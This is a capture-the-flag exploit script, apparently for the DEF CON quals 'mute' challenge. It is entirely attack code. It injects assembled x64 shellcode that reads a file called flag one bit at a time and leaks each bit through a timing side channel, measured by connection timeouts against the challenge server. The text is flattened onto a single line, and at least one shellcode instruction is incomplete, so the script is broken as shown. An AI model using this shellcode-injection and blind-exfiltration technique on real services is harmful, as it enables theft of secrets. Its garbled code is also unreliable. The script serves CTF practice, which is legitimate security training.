import phun import time import select import socket scode_t=(''' sub rsp,200 jmp a b: xor rdx,rdx pop rdi push 2 pop rax xor rsi,rsi xor rdx,rdx syscall cmp rax,rdx js die mov r15,rax mov rdi,rax mov rsi,${V} push 8 pop rax syscall mov rsi,rsp xor rax,rax mov rdx,rax inc rdx syscall mov rax,[rsp] shr rax,${N} and rax,1 test rax,rax jz die mov rdi,rsp mov rdx,16 xor rax syscall die: jmp die a: call b ''') for i in range(115): s = socket.socket() char = [] for j in range(7): scode=scode_t.replace('${V}',str(i)).replace('${N}',str(j)) # print scode scode = phun.asm(scode,"x64") scode += "./flag\x00" scode=scode.ljust(4096,"\x90") s = socket.socket() s.settimeout(1.5) s.connect(('mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me', 443)) # s.connect(('localhost',1234)) # raw_input('x') e=s.recv(4096) s.send(scode) s.shutdown(socket.SHUT_WR) try: s.recv(1024) except socket.timeout: char.append('0') s.close() print char print chr(int(''.join(char[::-1]),2))